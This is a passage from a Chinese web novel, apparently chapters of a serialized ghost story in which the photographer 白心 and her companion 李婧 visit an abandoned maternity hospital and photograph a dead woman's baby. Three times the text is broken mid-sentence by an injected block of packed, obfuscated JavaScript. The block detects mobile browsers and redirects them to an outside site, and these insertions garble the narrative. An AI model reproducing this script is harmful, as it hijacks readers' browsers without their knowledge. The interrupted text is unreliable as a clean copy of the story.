李婧从包里掏出一把太阳伞,把自己和白心都罩在伞下,白心看着头顶的阴影,礼貌一笑:“谢谢。” “不客气,”李婧举着伞,看着马路对面已经废弃、毫无生机的妇幼保健院,深深吸了一口气,“走吧。” 白心点点头,两人一起走上斑马线。 很快,两人就到了医院正大门口。白心看着面前依旧残旧损坏的伸缩大门,看见上面不仅有很多铁锈,还有许多干枯蜷曲的落叶。 抬头,没有了蓝色光芒的笼罩,医院大楼也看起来又脏又旧,好像已经死去很久了。 她知道刘晓希就在这栋楼里。只是作为普通人类,她们看不到而已。 白心转头,看见李婧也仰头看着大楼,目光深邃,一言不发。 “走吧。”白心开口,率先走进医院。 李婧跟着白心,却好像比白心更熟悉这里,在白心又打算从住院部正门进入的时候,李婧却突然说道:“别走这边,跟我来。” 白心回头,看见李婧已经收伞,站在她的身后,表情平静。 她点点头,转过身跟着李婧走。 看来李婧经常来这里。白心跟在她的身后想,是她常常来看刘晓希?还是她自己的孩子也出生在这里? 不过她不像有孩子的样子。李婧在前面带路,白心看到她一头短发,个头和她一样小小的,甚至比她还矮一点,穿着牛仔背带裤,看起来像个小孩;而刘晓希身高接近一米七,一头长发,虽然年轻,却已经有一种母亲般的慈爱和温柔了。 两人在蓝天幼儿园门口的合照不像发小,更像是姐姐妹妹,眼睛瞎的认成妈妈带孩子也不无可能。她又想起李婧是幼儿园老师,瞬间理解,打扮得太成熟小孩子可能不喜欢吧。 转念一想,自己又成熟到哪去呢。陈灵也老是说她二十五了还跟个小孩一样爱耍无赖,虽然她不觉得,但她确实认为自己离真正的长大还有一段距离。 她看着李婧的背带裤,笑了一下,为自己刚刚的想法嗤笑。三十岁穿背带裤怎么了,衣服设计出来就是给人穿的,只要她想,八十岁也能穿! 她的思绪又飘到了外太空,一路跟着李婧,走到哪儿了也不知道,停下来的时候还差点撞到李婧的后背。 李婧看着面前的白色台阶,说道:“这是侧门,离晓希的病房更近。” 白心停止胡思乱想,抬起头,看见她俩的前面是那种实心台阶而不是扶手电梯,回头一看,李婧把她带到住院部的侧边来了。 李婧走上台阶,边走边说:“我怀孕的时候,晓希就经常来照顾我。” 白心跟上她,心里微微一惊:“这样啊……” 原来已经是妈妈了。她在心里扇了自己一耳光,叫你瞎猜! 她继续说:“我三十一岁了,我俩认识三十年了。” 白心点点头,刘晓希昨晚已经告诉她了,她俩是发小,从小就认识。 “我俩甚至刚出生的时候就认识了,我们是在同一个医院同一个病房出生的,”李婧笑了一下,语气很平静,“到今年二月份,就是三十年。” 二月份?白心算了一下,距现在正好半年,是刘晓希死亡的时间。 李婧慢慢走着,缓缓说道:“前天我刚过完三十一岁生日,吹蜡烛许愿的时候,我才想起来我已经比她大了。” “她比我大几天,按理说是姐姐,但她特别爱哭,还怕疼,胆子很小,”李婧转了个弯,上到了二楼的台阶,“挺好笑的,是吧?” 白心抬起头,看见李婧在右边的台阶上冲她笑,平静且温柔。 爱哭她已经领教过了,胆子很小没看出来,怕疼……白心想起刘晓希红肿的双眼,心里像被人突然捶了一拳。 怕疼的人却死于难产。 李婧叹了口气,转过头不再看她,也不再说话,自顾自向上走着。很快,她们就走到了三楼。 白心跟在后面,看见她们从走廊的另一头走了上来。 昨晚她是从正中间的扶手电梯走上来的,现在她们正站在右边走廊的尽头处,她抬头一看,304病房近在咫尺。 白心这才发现,原来走廊尽头还有一扇门,昨天她只顾着找刘晓希,完全没注意这边还有通道可以走。 李婧推开304病房的门,看见那张凌乱的床铺后猛地颤了一下,白心站在她的身后,感觉到了她的颤抖。 “你是说,晓希告诉你,我们的合照在这里吗?”李婧保持着推开门的姿势一动不动,问道。 “是,”白心回答,“她给我发送的定时邮件里是这么写的。” “她还说……” “什么?” 白心吸了口气,慢慢说道:“她还说,你们还有很多约定的事没完成,她欠你的,她下辈子还给你。” 定时邮件是她瞎编的,刘晓希昨晚说的话她一字不漏地告诉了她。白心站在门口,环视这个破旧阴暗的房间,心想你应该在吧,刘晓希。 李婧什么也没说,径直走到了落满灰尘的床头柜前,一眼就看见了那张合照。 她没有犹豫,立即拿起合照,右手一抹,合照瞬间清晰。 李婧没有哭,白心看到她的肩膀微微颤抖,但她没有哭,只是不断地用右手擦着那张照片。 白心抬起头,看见天花板开始渗水。她这才看到原来这所医院真的很旧了,墙皮这里脱落一块那里掉落一块,而且还发霉了,空气里有股湿润的霉味。 李婧捏着照片,转过身,对她说道:“走吧,我们去六楼。” 原来李婧不是没有哭。她看到李婧的眼眶红得比刘晓希还厉害,鼻尖也红红的,她紧紧捏着照片,说完后死死咬着嘴唇。 她只是忍着没哭。 白心点点头,虽然不知道她要去六楼干什么,但她既然想去,那就去吧。 两个人一起走出刘晓希的房间,又回到了侧边的楼梯上,慢慢朝六楼走去。 “六楼是新生儿病区,”李婧的声音涩涩的,仿佛喉咙堵住了一般,“念念是我抱去六楼的。” “晓希只在手术台上看了念念一眼,”李婧咽了口口水,努力把那股哭意咽下去,“我告诉她,念念会被我照顾得很好。” “我会给她买好的衣服、好的玩具、质量最好的婴儿床,”李婧说,“我会把她当成自己孩子照顾。” “我会把念念培养成最坚强、最勇敢、不会轻易掉眼泪的孩子。” 白心看着前面个头小小的女人,突然感觉到一股悲伤。刘晓希的眼泪没把她压垮,李婧的坚强却把她击塌。 一个人要如何爱一个人,才能爱她的全部? 爱她的胆小、懦弱,爱她生命的延续,爱她的一切? 她没有经历过这样难以割舍、刻骨铭心的爱,但她深深为她们感到悲伤。然而她又觉得这样的悲伤没有必要,因为她们两个人都很坚强。 她突然想起陈灵。陈灵此生也无法再见到她的孩子,但她甚至比她们俩更坚强,她从未看见陈灵掉过一滴眼泪,她永远英姿勃发,意气风发。 她不允许任何人可怜她。 李婧带着白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763566|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心走到六楼,刚一上来,白心就感觉到一股巨大的风吹在脸上。 抬起头,天花板竟然破了好大一个洞。 原来六楼是顶楼。她才看清,她们前方已经没有楼梯了,这栋大楼一共就六层。 她还看到,六楼的地面上积了一层水,此时正在慢慢往楼下流淌。 她想起昨晚刘晓希在六楼的眼泪雨和户外的瓢泼大雨,忽然理解了她还没变成鬼的时候看见的一些奇怪现象。 一些难以理解的非自然现象,或许也只是某个人的执念而已。 李婧带着白心,走到了右边走廊的最后一间新生儿病房,推开门,那些空空如也的婴儿保温箱安静地排列在房间里。 她径直走到了角落的保温箱面前,在里面翻翻找找,从旧垫褥下面里找到一个东西。 白心皱眉,看着李婧手里叠成三角形一样的纸条 ,问道:“这是什么?” “平安符。” 李婧笑了一下:“这是我给晓希请的平安符。” 李婧走过来,走到白心面前把手摊开,一个小小的白色三角块躺在手心,里面还有隐隐约约的红色笔迹。 “她胎位不正,本身体质又弱,”李婧说,“我们把所有准备工作都做好了,以防万一,我还去庙里给她求了个平安符。” 李婧看着平安符,轻轻笑了笑:“给她整理遗容的时候,我发现她贴身带的这个符不见了,就知道她肯定是最后见念念的时候悄悄塞到她的小被子里了。” “傻丫头,”李婧蜷起手掌,把平安符握在手心,“这平安符根本没起效,给念念又有什么用呢?” 白心看着李婧的拳头,说道:“或许,就跟你再也见不到她,却还是愿意跟我过来拿照片的理由一样吧。” 因为爱。 因为爱,人是甘愿做一些徒劳无功的事的。 李婧的拳头抖了一下,白心看到李婧的眼眶好像又红了,于是赶紧说道:“我们去给念念拍照吧。” 要是刘晓希看见她把她发小也弄哭了,晚上指不定要找她麻烦。而且,她可不想刘晓希在她俩头顶下雨。 刚才她看过了,已经下午一点了,太晚过去打扰小孩和老人家不太好。而且这个时候正是饭后时间,说不定还能遇到念念出来晒太阳。 李婧点点头,把那张平安符揣进口袋,抬起双手不断上下,努力做了几个深呼吸。 做完,她终于恢复平静,眼眶也不再泛红。 她挽着白心的胳膊,两人原路返回往楼下走。 “去我家吧。”李婧说。 “嗯?”白心发出疑问,去她家干什么。 李婧抬起头,看着白心的眼睛,笑着说道:“你没带摄像机,怎么拍照啊?” 我靠,白心这才反应过来,自己专门来拍照的却空着个手就出门了。 怪不得她总觉得少了点什么。她翻了个白眼,对自己无语凝噎。 好歹是专业摄影师的身份,不可能就拿着她那个市面上都买不到了的八百年前就淘汰了的又老又破的旧手机拍照吧?多寒碜啊,她想,再专业的摄影师也不可能把像素风拍成1080P。 她努力镇定,微微一笑:“好啊。” 还好中途遇到李婧了,不然等她拿着照片再去找人家就很难解释了。 “我生孩子的时候自己就买了个摄像机,但是不太会用,”李婧边下楼边解释道,“正好你来了,它也不用落灰了。” 白心呵呵一笑,点了点头,问道:“你家住哪?” “蓝天幼儿园。”李婧回答。 19.“哭泣”的医院(十二) 白心靠在树上,嘴里叼着个包子,边啃边和校门口的保安大叔对视。 两人大眼瞪小眼,谁看谁都不像好人。 李婧进去有一会儿了,白心朝大门里望了望,校园里空旷得一望无际,没有李婧出来的身影。 她一口把剩下的包子塞进嘴里,又从塑料袋里掏出一个,继续啃。 饿得要死了。从昨天到现在就和陈灵吃了一顿饭,剩下的时间不是在给地府打工就是在睡觉,刚刚和李婧路过校门口的包子铺,她像突然被勾了魂一样走不动道,肚子里的雷打得比树上的知了还要响。 当鬼的时候不觉得,白心边啃边想,回到这具肉身之后就像被饿死鬼附身了一样。 人类果然无法克服口腹欲,她大口吃着包子,心想自己上辈子莫不是从饿鬼道来的吧? 保安瞪着眼睛,坐在保安亭里看着大门口树下狼吞虎咽的女生,对方边看着他边狠狠啃着手里的包子,看起来就不像什么善茬。 白心看着保安,心说至于吗,用这种看犯人的眼神看她,这大周末的,谁会进学校里去偷东西啊。 蓝天幼儿园地理位置不算繁华,又是周末的中午,四面八方基本没什么人,只有树上知了的叫声充当两人目光厮杀的背景音。 两人就这么互相看着,谁也没有先打破这份沉默的意思。 最后一个包子下肚,李婧才匆匆赶来结束这场无声的战斗。她身上背了个巨大的挎包,笑着对白心说道:“不好意思,找了好久才找到。” 她朝保安点点头,微笑示意后,挽着白心的胳膊就往公交站台走。 白心被李婧拉着走,顺手把手里的塑料袋扔进路边的垃圾桶,扔完还不忘回头看一眼,保安还是瞪着他那铜铃般的双眼,堪比她舅舅家那张画像上钟馗驱赶恶鬼的眼神。 她问道:“保安周末也要值班?” 李婧擦了擦额头上的汗,边走边回答:“对,从上个月开始,周末和晚上也要值班。” “为什么?”白心不解。 刚才吃包子的时候她观察过了,除了李婧这样偶尔出入的教职工,学校里一个人也没有,保安值班是在值什么东西?空气吗? 李婧叹了口气:“唉,说来话长。” 蓝天幼儿园建在安阳区第三完全小学里面,和小学共用一个大门,虽然白心已经不记得自己曾在这里上过学,但看到那个水泥地大篮球场的时候,一种脑海深处的熟悉感觉从二十年前涌来。 这水泥地摔起来很疼。前因后果早已忘记,只记得她在这里摔了个狗吃屎,疼得她立马喊妈。 这是个老牌幼儿园了,口碑什么也很好,从未听说过有什么入室盗窃抢劫之类的事啊,她想,什么事还要保安二十四小时值班? 白心:“那你长话短说。” 她是真想知道,而且她看到李婧进去的时候也要出示证件,到她的时候保安只回应了冷漠的两个字:不行。 李婧一怔,转而又叹了口气,拉着白心走到站台的阴影下。 白心这才看到李婧的睫毛很长,她垂着眼眸眨了几下,阴影在她的脸上闪烁,她慢慢说道:“一个月前,我们幼儿园有个小朋友……去世了。” “啊?”白心皱眉,“什么原因?” 李婧抿了抿嘴,说道:“他杀……” 白心大惊,还没开口,李婧却立即伸出食指放在嘴唇上:“嘘,小声点,不能说太多。” 白心:“那凶手抓到没?” “抓到了,”李婧放下手指,无奈说道,“是父亲那边的仇人。” 啊? 白心又说:“那这是谋杀啊?不是那种报复社会的?” 她偶尔刷新闻,会刷到一些报复社会的无差别杀人案件,凶手往往都会在幼儿园或者小学门口蹲点,等到小朋友们放学,就掏出一把砍刀开始乱砍。 专挑弱小下手。白心特别看不起这种人,说他们是社会的蛆虫都侮辱蛆了,蛆起码白白胖胖的,除了恶心也没什么危害,这种人不仅凶恶至极,还影响社会公共安全。 她还以为又是什么人生活不如意来作恶了,没想到竟然是蓄意报复。 李婧点点头,看到远处公交车缓缓驶来:“是的,而且凶手在学校里潜伏了好多天,是趁放学后人都走光,小孩落单的时候开始行凶的。” “而且……凶手看起来特别普通,还很瘦,完全没人注意到他。” 怪不得,白心恍然大悟,瞬间明白了刚刚保安的眼神为什么那么凶狠了,也知道为什么她这种陈灵和钟槐稍微使点劲就能抓着后脖领拎起来的干瘦火柴人都能被保安大叔列入嫌疑人列表了。 原来是这样。白心想,怪不得李婧这么紧张,估计附近还没多少居民知道,不然谁还敢来蓝天幼儿园上学。 公交停稳,李婧率先上车扫码:“好了,不说了。” 白心点头,也跟着李婧上车,两人往车厢后面走,找了两个座位并排坐下来。 “要不要先看看摄像机?”李婧把她身上那个大挎包往双腿上一放,拉开拉链就掏出一台崭新的还散发着新机器味道的相机。 她把相机放到白心腿上,白心感觉到腿上一沉,一台看起来就贵的单反相机就这样转移到了她的怀里。 闻着这股崭新的味道,白心想,这是完全没动过啊? 她的双手赶紧抱住相机,生怕颠簸的公交给摔坏了。 看着相机,她突然想起一件事,从裤子里掏出手机,打开聊天列表,找到一个人,编辑了几条消息发了过去。 发完,又把手机揣进裤子里,重新抱着相机。 “谁呀?”李婧问道,没有把头凑过来看白心的屏幕,而是礼貌地在一旁故意错开一点视线。 “同学,”白心笑了一下,回答道,“摄影爱好者。” 她昨晚就想好,今天白天先去妇幼保健院,拿到照片后再给徐珊打电话去她家借相机,然后再去找李婧。 所以昨天回来后她就先给徐珊发了信息,徐珊今天中午才回,估计也和她一样睡到日上三竿才起,而那个时候,白心正好在和邻居对视中。 上车之后她又遇到了李婧,整个流程就这样乱掉了,现在才想起来给徐珊回信息。 “是吗?”李婧又问,“你们是大学同学吗?” “高中同学,”白心回答道,“我俩都挺喜欢摄影的。” “那你们一定关系很好,”李婧也笑了一下,“有很多共同话题啊。” 喜欢摄影是真的,关系很好倒不至于。白心心想,她也是两个月前才知道徐珊也来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768963|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这个城市。 两人可以说正式的一面都没见到过,前几天约着吃饭,结果两个人又因为工作双向爽约。 高中的时候她还没有现在这么社恐,徐珊则是真正的内向,不跟人交流,坐在教室的角落一言不发,除了秋秋空间,白心对她毫无了解。 徐珊很爱拍照,空间里有很多漂亮的照片,在一堆抽象玩梗的同学里堪称一股清流。 文字能表达意思,图片同样能传达思想,白心看得出,徐珊的内心很丰富。 那时候白心的空间还没封锁,偶尔发点照片会有三五个好友点赞,没有跟她说过一句话的徐珊也会在半夜突然给她点一个赞。 这就是她们全部的交流了。 现在长大些了,不再是十七八岁纠结拧巴心比天高谁都不吊爱理不理的年纪了,和曾经的同班同学吃个饭对她俩来说完全是小事。 只是如今的困难不再是那些内心的拧巴,而是没有时间。 白心轻轻抚摸着怀里的摄像机,叹了口气,心想原来这就是少年不识愁滋味为赋新词强说愁,而今识尽愁滋味,欲说还休吗。 李婧看到她叹气,不禁笑了:“年纪轻轻的,叹什么气啊?” 这话和陈灵说的一模一样。白心转头看到李婧笑眼盈盈,忽然意识到自己在李婧面前确实还是个小孩。 不说小孩,起码是个妹妹。 人家都做妈妈了,而她,根本不敢想像自己成为母亲的样子。 听起来就压力山大,很可怕。 “没有,”白心说,“我只是在想,难道人真的要一直打工到老吗?” 她和徐珊就是因为忙着打工,连见面都没机会。人生三万天,一万天上学,两万天打工,虽然她的人生本来就寡淡无味,但仔细一想,大部分人的生活都好像一样寡淡无味。 “所以,要找到自己热爱的事啊,”李婧看着她,笑着说道,“你不是喜欢摄影吗?” 是啊,白心也看着李婧,心想三十而立,李婧果然看得比她透彻。 她也笑笑:“是的,我很喜欢摄影。” 虽然她立不了了,白心想,但是她现在可以做自己热爱的事了。 公交缓缓停下,李婧赶紧说道:“到站了,快下车!” 白心也快速把摄像机重新塞到李婧的包里,跟着李婧迅速下车,虽然公交车上也没凉快多少,但是一下车她还是被扑面而来的热气热得难受了一下。 抬起手腕一看,正好两点。 一天中最热的时候。 白心热得不断用手扇风,额头冒出一颗一颗豆大的汗珠,她感觉到后背已经全部汗湿了。 很难解释为什么白心瘦成这样竟然怕热不怕冷,她被陈灵抓着去看过老中医,老得掉牙的中医爷爷给她把了半天的脉,越把越奇怪,又说不出个所以然,最后憋出一句阴虚火旺。 是吧,好像是这么说的,白心想,她也记不清了。 李婧适时地打开了太阳伞,白心站在伞下,瞬间觉得好多了,两人朝前方走去,白心站在右边,看见旁边小区的墙壁破旧斑驳。 走了四五分钟,两人终于停下,李婧说道:“就是这里了。” 白心抬起头,陌生又熟悉的几个大字立在头顶。 幸福小区。 20.“哭泣”的医院(十三) 两人一起走进小区,七拐八拐终于拐到了13栋,白心抬起头,看见这楼和她记忆里的一模一样,老式的建筑风格,土灰色的墙壁,水泥楼梯,生锈的楼梯扶手。 没有单元门,也没有电梯。 李婧收起伞,挽着白心的胳膊:“走吧。” 楼梯很窄,两个人并排走也不是不可以,但是……白心看着一摸就会掉灰的墙壁,说道:“还是你带路吧。” 她可不想和李婧变成两块板擦,走一遭把楼梯两边的灰和铁锈都擦得一干二净。 李婧点点头,走到了白心的前面,率先踏上台阶。 白心跟在后面,边走边观察旁边的墙壁,上面画满了涂鸦。老小区就是这样,孩子多,老人也多,老人看不住孩子,孩子就会在墙壁上乱涂乱画。 墙皮被扣得体无完肤,白心伸出手指一摸,手上就是一层白色的灰。 十几年前她在这里住的时候,幸福小区就已经是老破小了,现在比那个时候更老更破,起码当时的墙壁还没有这么五彩斑斓。 白心看到墙上画什么的都有,有无意义的线条,有简笔画画的小人,有乱七八糟的图案,还有一些歪歪扭扭的字。 什么XXX到此一游、XXX是大蠢猪之类的一看就是小孩子写的十分幼稚的话,白心一路向上走,一路都是这些字,大大小小形态各异地刻在墙壁里。 还有一些规则类怪谈。她看到这些字迹里夹杂着另外一种不一样的痕迹,字迹清晰,大小适中,在一堆夸张的线条里毫不起眼。 请不要乘电梯上楼、请不要在晚上十点后带小孩出门、请不要在午夜十二点至两点点外卖……白心眯起眼睛,心想这又是谁的恶作剧。 小时候她就听过一些这种莫名其妙的不知道从哪儿流传来的神秘又吓人的规则,什么半夜十二点不能对着镜子削苹果、床头的鞋不能一只脚尖朝里一只朝外、不能在晚上岔开双腿弯腰向下看……搞得她又怕又好奇,真的在半夜十二点不开灯拿了个苹果对着镜子使劲削,想看看到底会发生什么。 结果什么都没发生,反而把起夜的外婆吓了一大跳,老人家直接把她的头当苹果削。 她顶着两个包睡觉,头上火辣辣的,心想谁要是再跟她讲这种东西她就半夜去他家削苹果,吓死他。 白心边回忆边看,越看越精彩,什么幸福小区有蛇精、蛇精会吃人之类的都来了,直接从鬼故事跳转到了神话故事。 她笑出了声,李婧在她前面听到笑声,问道:“笑什么?” “没有,”白心赶紧止住,恢复正常,“就是觉得这些小孩的想象力挺丰富的。” 李婧回头,看见白心正对着墙壁上的涂鸦看,也笑了:“小孩子是这样的,长大了就没这么丰富的想象力了。” 听到李婧的话,白心在心里狠狠点头,是啊,甭说想象力了,连生命力都不如小时候,她才二十五就这里疼那里痛的,每天要死不活,连小时候一半的活力和抗摔打能力都没有。 李婧回过头,又走了两个台阶,终于停下脚步:“到了。” 白心抬起头,看见一扇绿色的略带锈迹的铁门,再往上看,602到了。 李婧没有敲门,直接从背带裤的口袋里掏出一串钥匙,找到一把后直接打开了门。 白心看着李婧熟练的动作,想起刚刚李婧在医院的那番话,心里明白这里不仅是刘晓希的家,也是她的家。 李婧开门进去,在玄关的鞋柜里翻翻找找,终于找到一双拖鞋,她把拖鞋放在地毯上,笑着对站在门外的白心招手:“快进来呀。” “谁呀?”老人家的声音从客厅传来。 “阿姨是我,”李婧赶紧回应,“我带朋友来看念念。” 白心进门穿好拖鞋,转身把门扯上,门一关,她社恐又发作了,浑身上下都有种隐隐约约的不自在,到嘴边的阿姨好也卡住了。 小时候她妈经常带着她串门,那时候虽然比现在好很多,但她妈让她叫人的时候她还是觉得尴尬和浑身难受,总是硬着头皮挤出微笑从牙缝里漏出一句叔叔阿姨好。 那些叔叔阿姨会把手放在她头上说心心都这么大啦,白心的鸡皮疙瘩就从头顶开始往下蔓延。明明不认识,还搞得很熟的样子。 她和她妈去了好多人的家里,她也叫过好多不认识的人,每个人的家都有他们特有的气味和布置方式,唯一的共同点是白心觉得很陌生。 仿佛闯进了什么特殊的结界,一切都很和谐,唯一格格不入的只有她。小一点的时候还好,进入青春期后再去串门就好像浑身长了刺,屁股都不知道往哪放。 坐在沙发上,大人讲得热火朝天她听不懂,随意走动吧,这又不是她的家,于是只能乖乖坐在她妈旁边,一动不动地发呆。 进入这种充满生活痕迹的地方,就好像进入了别人的秘密基地,一举一动都像侵犯别人隐私。 所以她讨厌串门。 “怎么了?”李婧看白心背对着她一动不动,疑惑问道。 白心抖了一下,从回忆里挣脱,深深吸了口气,摆出一个和善可亲的微笑,转身对李婧说道:“没事。” 李婧常年和小孩打交道,心思细腻敏感,一下就看出来了白心的不自在,她像大姐大一样突然勾住白心的脖子把她往客厅拐:“走吧,去和晓希妈妈打个招呼,也跟念念打个招呼。” 白心被李婧突如其来的大动作搞得错愕了一下,还没反应过来两个人就像两只扭在一起的猴子一起出现在了客厅。 “阿……阿姨好,”白心看到沙发上坐着一位老人,正抱着一个小小孩看着她俩,小婴儿看到她俩也睁着大眼睛一动不动,“念……念念也好。” “你好你好。”老人看她俩这么亲昵,反应过来白心应该是李婧的朋友,也微笑着和她打招呼。 念念也举着小拳头“啊啊”了两声,表示友好欢迎。 白心的不自在一下子就消失了。 李婧松开她的脖子,把身上的包往旁边桌子上一甩,径直跑到了老人身边,一把抱起念念,贴着小宝宝的脸叽里咕噜说了几句话后转身走向白心。 白心看着李婧抱着念念逐渐逼近,竟然没有觉得半分不适。 其实她很讨厌小孩。小孩聒噪、听不懂人话、乱拉乱尿,自控能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776945|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力甚至不如一只猫或一条狗。 但她看着念念的眼睛,忽然想起了刘晓希。她的眼睛长得很像她的妈妈,一样的圆润明亮,看见她后充满希望。 “和姐姐打招呼。”李婧抱着念念站在白心的面前,一只手捏着念念的小手在空中挥了挥。 念念又举着拳头“啊啊”了两声,两只眼睛笑成月牙形状,嘴角留下一些晶莹的口水。 “念念好,”白心也笑起来,眉眼弯弯,“你很可爱。” 她是刘晓希生命的延续。 两人站在客厅,窗外的阳光透过窗帘照在她们仨的身上,白心忽然觉得,生命竟然这么美妙。 崭新、美好、充满希望。她看着李婧怀里圆滚滚亮晶晶的婴儿,突然理解了刘晓希的执念。 这不只是生物繁衍的本能,而是人之所以为人的本质所在。人类在向死而生的漫长的一生中,总是追逐着一丝光明的希望。 生命,就是希望。生命延续,希望永存。 李婧两手一伸,把念念递给白心:“你抱一下。” “啊,”白心反应过来,赶紧两只手接住念念,“你去干什么?” 李婧转身走向桌子,从她的挎包里掏出相机,说道:“拍照啊。” 白心一拍脑门,对哦,她是来拍照的。 念念在她的怀里,看到白心自己打自己,咯咯笑了起来,口水也流得更厉害了。白心一只手抱着念念,另一只手捏了捏她的小脸:“你笑什么!” 倒是不哭。白心看着念念傻呵呵的笑脸,心想还好没遗传到她妈妈的爱哭。 李婧走了过来,从白心手里接过念念,把相机递给白心:“来吧,多拍点。” 白心点点头,接过相机,背上背带,开始调试相机。 调了半天,参数终于调好,白心指挥着李婧这里站一下那里坐一下,念念也在她的手里摆出各种稀奇古怪的姿势。 整个屋子所有犄角旮旯都拍遍了,老人和李婧和念念的三人合照也拍了,白心想了一下,天气这么热,就不出外景了,对老人小孩都不好。 两小时后,摄影在白心肚子一声尖锐的“咕——”中结束。 白心背着相机,感到一股抓心挠肝的饥饿感从胃里涌上来,抬起手一看,五点了。 “在我们家吃饭吧。”李婧累够呛,瘫在沙发上看着白心。 白心点点头,也累得话都说不出了,长时间举着相机导致她肌肉酸痛得不得了,此刻是又累又饿,没有拒绝吃饭的理由。 老人站起来,走进厨房准备做饭,李婧也一下跳起来,钻进厨房帮忙打下手。 整个客厅就剩白心和念念两个人。 念念玩了一下午,此刻在婴儿床里睡得香甜,根本不用白心照顾,白心走到沙发旁边,往下一倒,整个人瘫在沙发上,下一秒就能睡着。 夕阳西下,金色偏红的阳光从窗帘缝隙里照进来,打在暖色调的木质地板上,白心趴睡在沙发上,一边看着光线里飞扬的灰尘,一边听着厨房里传来的切菜洗碗的声音,忽然觉得浑身暖洋洋的,温暖得马上就要睡过去。 家的感觉。 21.“哭泣”的医院(十四) 吃完饭,白心和李婧一起收拾,李婧熟练地端着碗筷进厨房,白心把桌上的垃圾全部扫进垃圾桶,也拿着抹布走进厨房。 两个人并排站在洗碗池前,一个洗碗一个洗抹布,李婧先问:“照片是我拿去洗还是你去?” 白心挤了一泵洗洁精在抹布上,边搓边回答:“我去吧,正好可以去找我同学。” 其实她不会洗照片,也没有设备,但徐珊刚好都有。而且,她还要把这些照片传到手环上,晚上还要去医院拿给刘晓希看。 李婧点点头,继续安静地洗碗。 白心看着手上的白色泡沫越来越多,一捏就碎,忽然问道:“做幼儿园老师,开心吗?” 她很佩服能跟小孩子打交道的人,尤其是十岁以下的小孩,大脑才刚刚发育,世界观也没成型,全凭本能行动,完全不可理喻。 跟她手上的泡沫一样,透明,易碎,一吹就乱飞,难以控制。并且微毒。 她忽然想起钟槐告诉她的她在蓝天幼儿园的英勇事迹,被她戳了眼睛的那个男孩也是,仅仅因为看见别人弱小,就要欺负,就要把自己都觉得肮脏的鼻涕甩到别人身上。 成年人尚且会伪装,小孩则是完全出于本能。 她讨厌这种直观的人性的恶。 李婧听见她的问题,愣了一下,转而笑着说:“还行,不然我也不会一直做下去。” “小朋友需要引导,”李婧边低头洗碗边说,“引导正确,他们就会听话,就会很好管。” 白心:“没有例外吗?” 比如她这种经常被老师罚站墙角的魔童,比如被她差点戳瞎的那个男孩一样的天生恶种。 李婧洗碗的手停顿了一下,然后回答道:“当然有,什么样的孩子都有。” “你们幼儿园有没有什么特殊的孩子?”白心又问道。 关于蓝天幼儿园,她莫名地想要了解更多,自从钟槐告诉她她在那里上过学后,她就觉得这个地方隐隐约约跟她有什么难以言说的联系。 李婧又叹了口气,回答道:“最近就有。” “最近?” 李婧点点头,继续说道:“我不是告诉你上个月……出事了吗,从那天后我们幼儿园的小朋友们都很奇怪。” 哦?白心的好奇心立马被勾起:“怎么个奇怪?” “总是哭,”李婧皱着眉头,边洗边说,“一到傍晚,尤其是放学的时候就开始哭。” “哭什么?”白心越发好奇。 “不知道,”李婧回答,“刚开始是一个小班里的孩子突然哭,然后半个班的孩子都哭了。” 李婧眉头越皱越紧,继续说:“后来中班也有孩子哭,到最后大班的孩子也哭了。” 白心的脑子里立马想象出了画面,几十个孩子一起哭,鼻涕与眼泪齐飞,尖叫共哭喊一色,光是想象头都快炸了。 “后来呢?”她又问道。 李婧把双手放在水流下冲洗,回答道:“后来最开始哭的那个孩子被接回去了,其他的孩子就好多了。” 白心也皱眉,疑惑道:“为什么?这之间有什么关联吗?” 李婧看着白心手里那块抹布搓了又洗,洗了又搓,反反复复没完没了,叹了口气,伸手把抹布从白心手里抽走:“那个孩子说,她看见教室里有奇怪的人。” “嗯?”白心又问,“什么奇怪的人?” “不知道啊,”李婧回答,“她指的地方什么都没有,就是一片空地,根本没有人。” 白心:? 她立即就想起了钟榆。钟榆就是因为能看见奇怪的东西所以害怕得经常哭,钟槐告诉她,这是因为她们家族的小孩都是天生阴阳眼。 李婧把那块抹布抻开,挂在洗碗池龙头上:“她还很小,具体的细节也描述不清楚,就说怕,其他的小朋友看她说怕,也跟着哭了,也说害怕。” 白心明白了,这是羊群效应,其他的孩子不一定真的看见了什么,而是因为有人说看见了奇怪的人,人传人传人,最后真的以为有什么可怕的怪物来了。 她抿了抿嘴,问道:“可以问一下,那个第一个哭的小朋友叫什么名字吗?” 李婧摇了摇头:“她不是我带的班里的,我不知道叫什么。” 哦,这样啊。白心的内心闪过一丝失落,她也不知道自己在期待什么。 